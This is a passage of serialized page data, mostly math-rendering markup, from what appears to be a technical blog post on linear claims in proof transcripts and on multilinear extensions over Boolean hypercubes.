,{"type":23,"tag":230,"props":113385,"children":113387},{"className":113386},[6372],[113388],{"type":23,"tag":230,"props":113389,"children":113391},{"className":113390,"style":94909},[6377],[113392],{"type":23,"tag":230,"props":113393,"children":113394},{},[],{"type":23,"tag":230,"props":113396,"children":113398},{"className":113397,"style":6524},[6426],[],{"type":23,"tag":230,"props":113400,"children":113402},{"className":113401},[6529],[113403],{"type":29,"value":863},{"type":23,"tag":230,"props":113405,"children":113407},{"className":113406,"style":6524},[6426],[],{"type":23,"tag":230,"props":113409,"children":113411},{"className":113410},[6334],[113412,113416,113421,113426,113431,113435,113440],{"type":23,"tag":230,"props":113413,"children":113415},{"className":113414,"style":6447},[6339],[],{"type":23,"tag":230,"props":113417,"children":113419},{"className":113418},[6345,23902],[113420],{"type":29,"value":181},{"type":23,"tag":230,"props":113422,"children":113424},{"className":113423},[24031],[113425],{"type":29,"value":302},{"type":23,"tag":230,"props":113427,"children":113429},{"className":113428},[6345],[113430],{"type":29,"value":6348},{"type":23,"tag":230,"props":113432,"children":113434},{"className":113433,"style":6427},[6426],[],{"type":23,"tag":230,"props":113436,"children":113438},{"className":113437},[6432],[113439],{"type":29,"value":6406},{"type":23,"tag":230,"props":113441,"children":113443},{"className":113442,"style":6427},[6426],[],{"type":23,"tag":230,"props":113445,"children":113447},{"className":113446},[6334],[113448,113452,113457,113514,113519,113523,113528],{"type":23,"tag":230,"props":113449,"children":113451},{"className":113450,"style":6447},[6339],[],{"type":23,"tag":230,"props":113453,"children":113455},{"className":113454},[6345],[113456],{"type":29,"value":5462},{"type":23,"tag":230,"props":113458,"children":113460},{"className":113459},[6345],[113461,113466],{"type":23,"tag":230,"props":113462,"children":113464},{"className":113463,"style":94826},[6345,23902],[113465],{"type":29,"value":95645},{"type":23,"tag":230,"props":113467,"children":113469},{"className":113468},[6362],[113470],{"type":23,"tag":230,"props":113471,"children":113473},{"className":113472},[6367,23956],[113474,113503],{"type":23,"tag":230,"props":113475,"children":113477},{"className":113476},[6372],[113478,113498],{"type":23,"tag":230,"props":113479,"children":113481},{"className":113480,"style":95355},[6377],[113482],{"type":23,"tag":230,"props":113483,"children":113484},{"style":111825},[113485,113489],{"type":23,"tag":230,"props":113486,"children":113488},{"className":113487,"style":6387},[6386],[],{"type":23,"tag":230,"props":113490,"children":113492},{"className":113491},[6392,6393,6394,6395],[113493],{"type":23,"tag":230,"props":113494,"children":113496},{"className":113495},[6345,23902,6395],[113497],{"type":29,"value":6074},{"type":23,"tag":230,"props":113499,"children":113501},{"className":113500},[24059],[113502],{"type":29,"value":24062},{"type":23,"tag":230,"props":113504,"children":113506},{"className":113505},[6372],[113507],{"type":23,"tag":230,"props":113508,"children":113510},{"className":113509,"style":94909},[6377],[113511],{"type":23,"tag":230,"props":113512,"children":113513},{},[],{"type":23,"tag":230,"props":113515,"children":113517},{"className":113516},[24053],[113518],{"type":29,"value":5467},{"type":23,"tag":230,"props":113520,"children":113522},{"className":113521,"style":6427},[6426],[],{"type":23,"tag":230,"props":113524,"children":113526},{"className":113525},[6432],[113527],{"type":29,"value":6719},{"type":23,"tag":230,"props":113529,"children":113531},{"className":113530,"style":6427},[6426],[],{"type":23,"tag":230,"props":113533,"children":113535},{"className":113534},[6334],[113536,113540,113611,113615,113620],{"type":23,"tag":230,"props":113537,"children":113539},{"className":113538,"style":112226},[6339],[],{"type":23,"tag":230,"props":113541,"children":113543},{"className":113542},[6345],[113544,113549],{"type":23,"tag":230,"props":113545,"children":113547},{"className":113546,"style":95060},[6345,23902],[113548],{"type":29,"value":95063},{"type":23,"tag":230,"props":113550,"children":113552},{"className":113551},[6362],[113553],{"type":23,"tag":230,"props":113554,"children":113556},{"className":113555},[6367,23956],[113557,113600],{"type":23,"tag":230,"props":113558,"children":113560},{"className":113559},[6372],[113561,113595],{"type":23,"tag":230,"props":113562,"children":113564},{"className":113563,"style":95355},[6377],[113565],{"type":23,"tag":230,"props":113566,"children":113567},{"style":112255},[113568,113572],{"type":23,"tag":230,"props":113569,"children":113571},{"className":113570,"style":6387},[6386],[],{"type":23,"tag":230,"props":113573,"children":113575},{"className":113574},[6392,6393,6394,6395],[113576],{"type":23,"tag":230,"props":113577,"children":113579},{"className":113578},[6345,6395],[113580,113585,113590],{"type":23,"tag":230,"props":113581,"children":113583},{"className":113582},[6345,23902,6395],[113584],{"type":29,"value":6074},{"type":23,"tag":230,"props":113586,"children":113588},{"className":113587},[6432,6395],[113589],{"type":29,"value":6406},{"type":23,"tag":230,"props":113591,"children":113593},{"className":113592},[6345,6395],[113594],{"type":29,"value":6348},{"type":23,"tag":230,"props":113596,"children":113598},{"className":113597},[24059],[113599],{"type":29,"value":24062},{"type":23,"tag":230,"props":113601,"children":113603},{"className":113602},[6372],[113604],{"type":23,"tag":230,"props":113605,"children":113607},{"className":113606,"style":112296},[6377],[113608],{"type":23,"tag":230,"props":113609,"children":113610},{},[],{"type":23,"tag":230,"props":113612,"children":113614},{"className":113613,"style":6427},[6426],[],{"type":23,"tag":230,"props":113616,"children":113618},{"className":113617},[6432],[113619],{"type":29,"value":113088},{"type":23,"tag":230,"props":113621,"children":113623},{"className":113622,"style":6427},[6426],[],{"type":23,"tag":230,"props":113625,"children":113627},{"className":113626},[6334],[113628,113632],{"type":23,"tag":230,"props":113629,"children":113631},{"className":113630,"style":111796},[6339],[],{"type":23,"tag":230,"props":113633,"children":113635},{"className":113634},[6345],[113636,113641],{"type":23,"tag":230,"props":113637,"children":113639},{"className":113638,"style":94826},[6345,23902],[113640],{"type":29,"value":95645},{"type":23,"tag":230,"props":113642,"children":113644},{"className":113643},[6362],[113645],{"type":23,"tag":230,"props":113646,"children":113648},{"className":113647},[6367,23956],[113649,113678],{"type":23,"tag":230,"props":113650,"children":113652},{"className":113651},[6372],[113653,113673],{"type":23,"tag":230,"props":113654,"children":113656},{"className":113655,"style":95355},[6377],[113657],{"type":23,"tag":230,"props":113658,"children":113659},{"style":111825},[113660,113664],{"type":23,"tag":230,"props":113661,"children":113663},{"className":113662,"style":6387},[6386],[],{"type":23,"tag":230,"props":113665,"children":113667},{"className":113666},[6392,6393,6394,6395],[113668],{"type":23,"tag":230,"props":113669,"children":113671},{"className":113670},[6345,23902,6395],[113672],{"type":29,"value":6074},{"type":23,"tag":230,"props":113674,"children":113676},{"className":113675},[24059],[113677],{"type":29,"value":24062},{"type":23,"tag":230,"props":113679,"children":113681},{"className":113680},[6372],[113682],{"type":23,"tag":230,"props":113683,"children":113685},{"className":113684,"style":94909},[6377],[113686],{"type":23,"tag":230,"props":113687,"children":113688},{},[],{"type":23,"tag":32,"props":113690,"children":113691},{},[113692,113693,113789,113791,113816,113818,113843],{"type":29,"value":47907},{"type":23,"tag":2302,"props":113694,"children":113695},{},[113696,113698],{"type":29,"value":113697},"linear in ",{"type":23,"tag":71,"props":113699,"children":113701},{"className":113700},[6318,6319],[113702],{"type":23,"tag":230,"props":113703,"children":113705},{"className":113704},[6324],[113706],{"type":23,"tag":230,"props":113707,"children":113709},{"className":113708,"ariaHidden":1726},[6329],[113710],{"type":23,"tag":230,"props":113711,"children":113713},{"className":113712},[6334],[113714,113718],{"type":23,"tag":230,"props":113715,"children":113717},{"className":113716,"style":112226},[6339],[],{"type":23,"tag":230,"props":113719,"children":113721},{"className":113720},[6345],[113722,113727],{"type":23,"tag":230,"props":113723,"children":113725},{"className":113724,"style":95060},[6345,23902],[113726],{"type":29,"value":95063},{"type":23,"tag":230,"props":113728,"children":113730},{"className":113729},[6362],[113731],{"type":23,"tag":230,"props":113732,"children":113734},{"className":113733},[6367,23956],[113735,113778],{"type":23,"tag":230,"props":113736,"children":113738},{"className":113737},[6372],[113739,113773],{"type":23,"tag":230,"props":113740,"children":113742},{"className":113741,"style":95355},[6377],[113743],{"type":23,"tag":230,"props":113744,"children":113745},{"style":112255},[113746,113750],{"type":23,"tag":230,"props":113747,"children":113749},{"className":113748,"style":6387},[6386],[],{"type":23,"tag":230,"props":113751,"children":113753},{"className":113752},[6392,6393,6394,6395],[113754],{"type":23,"tag":230,"props":113755,"children":113757},{"className":113756},[6345,6395],[113758,113763,113768],{"type":23,"tag":230,"props":113759,"children":113761},{"className":113760},[6345,23902,6395],[113762],{"type":29,"value":6074},{"type":23,"tag":230,"props":113764,"children":113766},{"className":113765},[6432,6395],[113767],{"type":29,"value":6406},{"type":23,"tag":230,"props":113769,"children":113771},{"className":113770},[6345,6395],[113772],{"type":29,"value":6348},{"type":23,"tag":230,"props":113774,"children":113776},{"className":113775},[24059],[113777],{"type":29,"value":24062},{"type":23,"tag":230,"props":113779,"children":113781},{"className":113780},[6372],[113782],{"type":23,"tag":230,"props":113783,"children":113785},{"className":113784,"style":112296},[6377],[113786],{"type":23,"tag":230,"props":113787,"children":113788},{},[],{"type":29,"value":113790},"! By induction, the final claim is linear in the original ",{"type":23,"tag":71,"props":113792,"children":113794},{"className":113793},[6318,6319],[113795],{"type":23,"tag":230,"props":113796,"children":113798},{"className":113797},[6324],[113799],{"type":23,"tag":230,"props":113800,"children":113802},{"className":113801,"ariaHidden":1726},[6329],[113803],{"type":23,"tag":230,"props":113804,"children":113806},{"className":113805},[6334],[113807,113811],{"type":23,"tag":230,"props":113808,"children":113810},{"className":113809,"style":23897},[6339],[],{"type":23,"tag":230,"props":113812,"children":113814},{"className":113813,"style":95060},[6345,23902],[113815],{"type":29,"value":95063},{"type":29,"value":113817},". If ",{"type":23,"tag":71,"props":113819,"children":113821},{"className":113820},[6318,6319],[113822],{"type":23,"tag":230,"props":113823,"children":113825},{"className":113824},[6324],[113826],{"type":23,"tag":230,"props":113827,"children":113829},{"className":113828,"ariaHidden":1726},[6329],[113830],{"type":23,"tag":230,"props":113831,"children":113833},{"className":113832},[6334],[113834,113838],{"type":23,"tag":230,"props":113835,"children":113837},{"className":113836,"style":23897},[6339],[],{"type":23,"tag":230,"props":113839,"children":113841},{"className":113840,"style":95060},[6345,23902],[113842],{"type":29,"value":95063},{"type":29,"value":113844}," isn't in the transcript, we can solve for it.",{"type":23,"tag":59,"props":113846,"children":113848},{"id":113847},"multilinear-extensions-mles",[113849],{"type":29,"value":113850},"Multilinear Extensions (MLEs)",{"type":23,"tag":32,"props":113852,"children":113853},{},[113854,113856,113941],{"type":29,"value":113855},"An MLE is just the polynomial view of a table over ",{"type":23,"tag":71,"props":113857,"children":113859},{"className":113858},[6318,6319],[113860],{"type":23,"tag":230,"props":113861,"children":113863},{"className":113862},[6324],[113864],{"type":23,"tag":230,"props":113865,"children":113867},{"className":113866,"ariaHidden":1726},[6329],[113868],{"type":23,"tag":230,"props":113869,"children":113871},{"className":113870},[6334],[113872,113876,113881,113886,113891,113895,113900],{"type":23,"tag":230,"props":113873,"children":113875},{"className":113874,"style":6447},[6339],[],{"type":23,"tag":230,"props":113877,"children":113879},{"className":113878},[24031],[113880],{"type":29,"value":78397},{"type":23,"tag":230,"props":113882,"children":113884},{"className":113883},[6345],[113885],{"type":29,"value":6358},{"type":23,"tag":230,"props":113887,"children":113889},{"className":113888},[6458],[113890],{"type":29,"value":6461},{"type":23,"tag":230,"props":113892,"children":113894},{"className":113893,"style":6465},[6426],[],{"type":23,"tag":230,"props":113896,"children":113898},{"className":113897},[6345],[113899],{"type":29,"value":6348},{"type":23,"tag":230,"props":113901,"children":113903},{"className":113902},[24053],[113904,113909],{"type":23,"tag":230,"props":113905,"children":113907},{"className":113906},[24053],[113908],{"type":29,"value":642},{"type":23,"tag":230,"props":113910,"children":113912},{"className":113911},[6362],[113913],{"type":23,"tag":230,"props":113914,"children":113916},{"className":113915},[6367],[113917],{"type":23,"tag":230,"props":113918,"children":113920},{"className":113919},[6372],[113921],{"type":23,"tag":230,"props":113922,"children":113924},{"className":113923,"style":110543},[6377],[113925],{"type":23,"tag":230,"props":113926,"children":113927},{"style":6381},[113928,113932],{"type":23,"tag":230,"props":113929,"children":113931},{"className":113930,"style":6387},[6386],[],{"type":23,"tag":230,"props":113933,"children":113935},{"className":113934},[6392,6393,6394,6395],[113936],{"type":23,"tag":230,"props":113937,"children":113939},{"className":113938},[6345,23902,6395],[113940],{"type":29,"value":58177},{"type":29,"value":113942},": it matches the table on Boolean points and extends it to field points.",{"type":23,"tag":32,"props":113944,"children":113945},{},[113946],{"type":29,"value":113947},"For this post, the only property you need is:",{"type":23,"tag":32,"props":113949,"children":113950},{},[113951],{"type":23,"tag":71,"props":113952,"children":113954},{"className":113953},[6318,6319],[113955],{"type":23,"tag":230,"props":113956,"children":113958},{"className":113957},[6324],[113959],{"type":23,"tag":230,"props":113960,"children":113962},{"className":113961,"ariaHidden":1726},[6329],[113963,114125,114397],{"type":23,"tag":230,"props":113964,"children":113966},{"className":113965},[6334],[113967,113972,114041,114046,114107,114112,114116,114121],{"type":23,"tag":230,"props":113968,"children":113971},{"className":113969,"style":113970},[6339],"height:1.1813em;vertical-align:-0.25em;",[],{"type":23,"tag":230,"props":113973,"children":113976},{"className":113974},[6345,113975],"accent",[113977],{"type":23,"tag":230,"props":113978,"children":113980},{"className":113979},[6367,23956],[113981,114029],{"type":23,"tag":230,"props":113982,"children":113984},{"className":113983},[6372],[113985,114024],{"type":23,"tag":230,"props":113986,"children":113989},{"className":113987,"style":113988},[6377],"height:0.9313em;",[113990,114004],{"type":23,"tag":230,"props":113991,"children":113993},{"style":113992},"top:-3em;",[113994,113999],{"type":23,"tag":230,"props":113995,"children":113998},{"className":113996,"style":113997},[6386],"height:3em;",[],{"type":23,"tag":230,"props":114000,"children":114002},{"className":114001,"style":97180},[6345,23902],[114003],{"type":29,"value":35377},{"type":23,"tag":230,"props":114005,"children":114007},{"style":114006},"top:-3.6134em;",[114008,114012],{"type":23,"tag":230,"props":114009,"children":114011},{"className":114010,"style":113997},[6386],[],{"type":23,"tag":230,"props":114013,"children":114017},{"className":114014,"style":114016},[114015],"accent-body","left:-0.0833em;",[114018],{"type":23,"tag":230,"props":114019,"children":114021},{"className":114020},[6345],[114022],{"type":29,"value":114023},"~",{"type":23,"tag":230,"props":114025,"children":114027},{"className":114026},[24059],[114028],{"type":29,"value":24062},{"type":23,"tag":230,"props":114030,"children":114032},{"className":114031},[6372],[114033],{"type":23,"tag":230,"props":114034,"children":114037},{"className":114035,"style":114036},[6377],"height:0.1944em;",[114038],{"type":23,"tag":230,"props":114039,"children":114040},{},[],{"type":23,"tag":230,"props":114042,"children":114044},{"className":114043},[24031],[114045],{"type":29,"value":302},{"type":23,"tag":230,"props":114047,"children":114049},{"className":114048},[6345,113975],[114050],{"type":23,"tag":230,"props":114051,"children":114053},{"className":114052},[6367],[114054],{"type":23,"tag":230,"props":114055,"children":114057},{"className":114056},[6372],[114058],{"type":23,"tag":230,"props":114059,"children":114062},{"className":114060,"style":114061},[6377],"height:0.714em;",[114063,114075],{"type":23,"tag":230,"props":114064,"children":114065},{"style":113992},[114066,114070],{"type":23,"tag":230,"props":114067,"children":114069},{"className":114068,"style":113997},[6386],[],{"type":23,"tag":230,"props":114071,"children":114073},{"className":114072,"style":94826},[6345,23902],[114074],{"type":29,"value":95645},{"type":23,"tag":230,"props":114076,"children":114077},{"style":113992},[114078,114082],{"type":23,"tag":230,"props":114079,"children":114081},{"className":114080,"style":113997},[6386],[],{"type":23,"tag":230,"props":114083,"children":114086},{"className":114084,"style":114085},[114015],"left:-0.1799em;",[114087],{"type":23,"tag":230,"props":114088,"children":114092},{"className":114089,"style":114091},[114090],"overlay","height:0.714em;width:0.471em;",[114093],{"type":23,"tag":36562,"props":114094,"children":114101},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[114102],{"type":23,"tag":114103,"props":114104,"children":114106},"path",{"d":114105},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":23,"tag":230,"props":114108,"children":114110},{"className":114109},[24053],[114111],{"type":29,"value":5467},{"type":23,"tag":230,"props":114113,"children":114115},{"className":114114,"style":6524},[6426],[],{"type":23,"tag":230,"props":114117,"children":114119},{"className":114118},[6529],[114120],{"type":29,"value":863},{"type":23,"tag":230,"props":114122,"children":114124},{"className":114123,"style":6524},[6426],[],{"type":23,"tag":230,"props":114126,"children":114128},{"className":114127},[6334],[114129,114134,114315,114319,114324,114329,114379,114384,114388,114393],{"type":23,"tag":230,"props":114130,"children":114133},{"className":114131,"style":114132},[6339],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":23,"tag":230,"props":114135,"children":114137},{"className":114136},[23938],[114138,114143],{"type":23,"tag":230,"props":114139,"children":114141},{"className":114140,"style":23945},[23938,23943,23944],[114142],{"type":29,"value":110621},{"type":23,"tag":230,"props":114144,"children":114146},{"className":114145},[6362],[114147],{"type":23,"tag":230,"props":114148,"children":114150},{"className":114149},[6367,23956],[114151,114303],{"type":23,"tag":230,"props":114152,"children":114154},{"className":114153},[6372],[114155,114298],{"type":23,"tag":230,"props":114156,"children":114159},{"className":114157,"style":114158},[6377],"height:0.3448em;",[114160],{"type":23,"tag":230,"props":114161,"children":114163},{"style":114162},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[114164,114168],{"type":23,"tag":230,"props":114165,"children":114167},{"className":114166,"style":6387},[6386],[],{"type":23,"tag":230,"props":114169,"children":114171},{"className":114170},[6392,6393,6394,6395],[114172],{"type":23,"tag":230,"props":114173,"children":114175},{"className":114174},[6345,6395],[114176,114230,114235,114240,114245,114250,114255],{"type":23,"tag":230,"props":114177,"children":114179},{"className":114178},[6345,113975,6395],[114180],{"type":23,"tag":230,"props":114181,"children":114183},{"className":114182},[6367],[114184],{"type":23,"tag":230,"props":114185,"children":114187},{"className":114186},[6372],[114188],{"type":23,"tag":230,"props":114189,"children":114192},{"className":114190,"style":114191},[6377],"height:0.9774em;",[114193,114207],{"type":23,"tag":230,"props":114194,"children":114196},{"style":114195},"top:-2.714em;",[114197,114202],{"type":23,"tag":230,"props":114198,"children":114201},{"className":114199,"style":114200},[6386],"height:2.714em;",[],{"type":23,"tag":230,"props":114203,"children":114205},{"className":114204},[6345,23902,6395],[114206],{"type":29,"value":5561},{"type":23,"tag":230,"props":114208,"children":114210},{"style":114209},"top:-2.9774em;",[114211,114215],{"type":23,"tag":230,"props":114212,"children":114214},{"className":114213,"style":114200},[6386],[],{"type":23,"tag":230,"props":114216,"children":114219},{"className":114217,"style":114218},[114015],"left:-0.2355em;",[114220],{"type":23,"tag":230,"props":114221,"children":114223},{"className":114222,"style":114091},[114090,6395],[114224],{"type":23,"tag":36562,"props":114225,"children":114226},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114227],{"type":23,"tag":114103,"props":114228,"children":114229},{"d":114105},[],{"type":23,"tag":230,"props":114231,"children":114233},{"className":114232},[6529,6395],[114234],{"type":29,"value":24009},{"type":23,"tag":230,"props":114236,"children":114238},{"className":114237},[24031,6395],[114239],{"type":29,"value":78397},{"type":23,"tag":230,"props":114241,"children":114243},{"className":114242},[6345,6395],[114244],{"type":29,"value":6358},{"type":23,"tag":230,"props":114246,"children":114248},{"className":114247},[6458,6395],[114249],{"type":29,"value":6461},{"type":23,"tag":230,"props":114251,"children":114253},{"className":114252},[6345,6395],[114254],{"type":29,"value":6348},{"type":23,"tag":230,"props":114256,"children":114258},{"className":114257},[24053,6395],[114259,114264],{"type":23,"tag":230,"props":114260,"children":114262},{"className":114261},[24053,6395],[114263],{"type":29,"value":642},{"type":23,"tag":230,"props":114265,"children":114267},{"className":114266},[6362],[114268],{"type":23,"tag":230,"props":114269,"children":114271},{"className":114270},[6367],[114272],{"type":23,"tag":230,"props":114273,"children":114275},{"className":114274},[6372],[114276],{"type":23,"tag":230,"props":114277,"children":114280},{"className":114278,"style":114279},[6377],"height:0.5935em;",[114281],{"type":23,"tag":230,"props":114282,"children":114284},{"style":114283},"top:-2.786em;margin-right:0.0714em;",[114285,114289],{"type":23,"tag":230,"props":114286,"children":114288},{"className":114287,"style":110686},[6386],[],{"type":23,"tag":230,"props":114290,"children":114292},{"className":114291},[6392,110691,110692,6395],[114293],{"type":23,"tag":230,"props":114294,"children":114296},{"className":114295},[6345,23902,6395],[114297],{"type":29,"value":58177},{"type":23,"tag":230,"props":114299,"children":114301},{"className":114300},[24059],[114302],{"type":29,"value":24062},{"type":23,"tag":230,"props":114304,"children":114306},{"className":114305},[6372],[114307],{"type":23,"tag":230,"props":114308,"children":114311},{"className":114309,"style":114310},[6377],"height:0.5144em;",[114312],{"type":23,"tag":230,"props":114313,"children":114314},{},[],{"type":23,"tag":230,"props":114316,"children":114318},{"className":114317,"style":6465},[6426],[],{"type":23,"tag":230,"props":114320,"children":114322},{"className":114321,"style":97180},[6345,23902],[114323],{"type":29,"value":35377},{"type":23,"tag":230,"props":114325,"children":114327},{"className":114326},[24031],[114328],{"type":29,"value":302},{"type":23,"tag":230,"props":114330,"children":114332},{"className":114331},[6345,113975],[114333],{"type":23,"tag":230,"props":114334,"children":114336},{"className":114335},[6367],[114337],{"type":23,"tag":230,"props":114338,"children":114340},{"className":114339},[6372],[114341],{"type":23,"tag":230,"props":114342,"children":114344},{"className":114343,"style":114191},[6377],[114345,114357],{"type":23,"tag":230,"props":114346,"children":114347},{"style":113992},[114348,114352],{"type":23,"tag":230,"props":114349,"children":114351},{"className":114350,"style":113997},[6386],[],{"type":23,"tag":230,"props":114353,"children":114355},{"className":114354},[6345,23902],[114356],{"type":29,"value":5561},{"type":23,"tag":230,"props":114358,"children":114360},{"style":114359},"top:-3.2634em;",[114361,114365],{"type":23,"tag":230,"props":114362,"children":114364},{"className":114363,"style":113997},[6386],[],{"type":23,"tag":230,"props":114366,"children":114368},{"className":114367,"style":114218},[114015],[114369],{"type":23,"tag":230,"props":114370,"children":114372},{"className":114371,"style":114091},[114090],[114373],{"type":23,"tag":36562,"props":114374,"children":114375},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114376],{"type":23,"tag":114103,"props":114377,"children":114378},{"d":114105},[],{"type":23,"tag":230,"props":114380,"children":114382},{"className":114381},[24053],[114383],{"type":29,"value":5467},{"type":23,"tag":230,"props":114385,"children":114387},{"className":114386,"style":6427},[6426],[],{"type":23,"tag":230,"props":114389,"children":114391},{"className":114390},[6432],[114392],{"type":29,"value":113088},{"type":23,"tag":230,"props":114394,"children":114396},{"className":114395,"style":6427},[6426],[],{"type":23,"tag":230,"props":114398,"children":114400},{"className":114399},[6334],[114401,114406,114416,114421,114470,114475,114479,114528],{"type":23,"tag":230,"props":114402,"children":114405},{"className":114403,"style":114404},[6339],"height:1.2274em;vertical-align:-0.25em;",[],{"type":23,"tag":230,"props":114407,"children":114409},{"className":114408},[6345,29],[114410],{"type":23,"tag":230,"props":114411,"children":114413},{"className":114412},[6345],[114414],{"type":29,"value":114415},"eq",{"type":23,"tag":230,"props":114417,"children":114419},{"className":114418},[24031],[114420],{"type":29,"value":302},{"type":23,"tag":230,"props":114422,"children":114424},{"className":114423},[6345,113975],[114425],{"type":23,"tag":230,"props":114426,"children":114428},{"className":114427},[6367],[114429],{"type":23,"tag":230,"props":114430,"children":114432},{"className":114431},[6372],[114433],{"type":23,"tag":230,"props":114434,"children":114436},{"className":114435,"style":114191},[6377],[114437,114449],{"type":23,"tag":230,"props":114438,"children":114439},{"style":113992},[114440,114444],{"type":23,"tag":230,"props":114441,"children":114443},{"className":114442,"style":113997},[6386],[],{"type":23,"tag":230,"props":114445,"children":114447},{"className":114446},[6345,23902],[114448],{"type":29,"value":5561},{"type":23,"tag":230,"props":114450,"children":114451},{"style":114359},[114452,114456],{"type":23,"tag":230,"props":114453,"children":114455},{"className":114454,"style":113997},[6386],[],{"type":23,"tag":230,"props":114457,"children":114459},{"className":114458,"style":114218},[114015],[114460],{"type":23,"tag":230,"props":114461,"children":114463},{"className":114462,"style":114091},[114090],[114464],{"type":23,"tag":36562,"props":114465,"children":114466},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114467],{"type":23,"tag":114103,"props":114468,"children":114469},{"d":114105},[],{"type":23,"tag":230,"props":114471,"children":114473},{"className":114472},[6458],[114474],{"type":29,"value":6461},{"type":23,"tag":230,"props":114476,"children":114478},{"className":114477,"style":6465},[6426],[],{"type":23,"tag":230,"props":114480,"children":114482},{"className":114481},[6345,113975],[114483],{"type":23,"tag":230,"props":114484,"children":114486},{"className":114485},[6367],[114487],{"type":23,"tag":230,"props":114488,"children":114490},{"className":114489},[6372],[114491],{"type":23,"tag":230,"props":114492,"children":114494},{"className":114493,"style":114061},[6377],[114495,114507],{"type":23,"tag":230,"props":114496,"children":114497},{"style":113992},[114498,114502],{"type":23,"tag":230,"props":114499,"children":114501},{"className":114500,"style":113997},[6386],[],{"type":23,"tag":230,"props":114503,"children":114505},{"className":114504,"style":94826},[6345,23902],[114506],{"type":29,"value":95645},{"type":23,"tag":230,"props":114508,"children":114509},{"style":113992},[114510,114514],{"type":23,"tag":230,"props":114511,"children":114513},{"className":114512,"style":113997},[6386],[],{"type":23,"tag":230,"props":114515,"children":114517},{"className":114516,"style":114085},[114015],[114518],{"type":23,"tag":230,"props":114519,"children":114521},{"className":114520,"style":114091},[114090],[114522],{"type":23,"tag":36562,"props":114523,"children":114524},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114525],{"type":23,"tag":114103,"props":114526,"children":114527},{"d":114105},[],{"type":23,"tag":230,"props":114529,"children":114531},{"className":114530},[24053],[114532],{"type":29,"value":5467},{"type":23,"tag":32,"props":114534,"children":114535},{},[114536,114538,114607,114609,114755,114757,114896,114898,114982],{"type":29,"value":114537},"At a fixed challenge point ",{"type":23,"tag":71,"props":114539,"children":114541},{"className":114540},[6318,6319],[114542],{"type":23,"tag":230,"props":114543,"children":114545},{"className":114544},[6324],[114546],{"type":23,"tag":230,"props":114547,"children":114549},{"className":114548,"ariaHidden":1726},[6329],[114550],{"type":23,"tag":230,"props":114551,"children":114553},{"className":114552},[6334],[114554,114558],{"type":23,"tag":230,"props":114555,"children":114557},{"className":114556,"style":114061},[6339],[],{"type":23,"tag":230,"props":114559,"children":114561},{"className":114560},[6345,113975],[114562],{"type":23,"tag":230,"props":114563,"children":114565},{"className":114564},[6367],[114566],{"type":23,"tag":230,"props":114567,"children":114569},{"className":114568},[6372],[114570],{"type":23,"tag":230,"props":114571,"children":114573},{"className":114572,"style":114061},[6377],[114574,114586],{"type":23,"tag":230,"props":114575,"children":114576},{"style":113992},[114577,114581],{"type":23,"tag":230,"props":114578,"children":114580},{"className":114579,"style":113997},[6386],[],{"type":23,"tag":230,"props":114582,"children":114584},{"className":114583,"style":94826},[6345,23902],[114585],{"type":29,"value":95645},{"type":23,"tag":230,"props":114587,"children":114588},{"style":113992},[114589,114593],{"type":23,"tag":230,"props":114590,"children":114592},{"className":114591,"style":113997},[6386],[],{"type":23,"tag":230,"props":114594,"children":114596},{"className":114595,"style":114085},[114015],[114597],{"type":23,"tag":230,"props":114598,"children":114600},{"className":114599,"style":114091},[114090],[114601],{"type":23,"tag":36562,"props":114602,"children":114603},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114604],{"type":23,"tag":114103,"props":114605,"children":114606},{"d":114105},[],{"type":29,"value":114608},", the coefficients ",{"type":23,"tag":71,"props":114610,"children":114612},{"className":114611},[6318,6319],[114613],{"type":23,"tag":230,"props":114614,"children":114616},{"className":114615},[6324],[114617],{"type":23,"tag":230,"props":114618,"children":114620},{"className":114619,"ariaHidden":1726},[6329],[114621],{"type":23,"tag":230,"props":114622,"children":114624},{"className":114623},[6334],[114625,114629,114638,114643,114692,114697,114701,114750],{"type":23,"tag":230,"props":114626,"children":114628},{"className":114627,"style":114404},[6339],[],{"type":23,"tag":230,"props":114630,"children":114632},{"className":114631},[6345,29],[114633],{"type":23,"tag":230,"props":114634,"children":114636},{"className":114635},[6345],[114637],{"type":29,"value":114415},{"type":23,"tag":230,"props":114639,"children":114641},{"className":114640},[24031],[114642],{"type":29,"value":302},{"type":23,"tag":230,"props":114644,"children":114646},{"className":114645},[6345,113975],[114647],{"type":23,"tag":230,"props":114648,"children":114650},{"className":114649},[6367],[114651],{"type":23,"tag":230,"props":114652,"children":114654},{"className":114653},[6372],[114655],{"type":23,"tag":230,"props":114656,"children":114658},{"className":114657,"style":114191},[6377],[114659,114671],{"type":23,"tag":230,"props":114660,"children":114661},{"style":113992},[114662,114666],{"type":23,"tag":230,"props":114663,"children":114665},{"className":114664,"style":113997},[6386],[],{"type":23,"tag":230,"props":114667,"children":114669},{"className":114668},[6345,23902],[114670],{"type":29,"value":5561},{"type":23,"tag":230,"props":114672,"children":114673},{"style":114359},[114674,114678],{"type":23,"tag":230,"props":114675,"children":114677},{"className":114676,"style":113997},[6386],[],{"type":23,"tag":230,"props":114679,"children":114681},{"className":114680,"style":114218},[114015],[114682],{"type":23,"tag":230,"props":114683,"children":114685},{"className":114684,"style":114091},[114090],[114686],{"type":23,"tag":36562,"props":114687,"child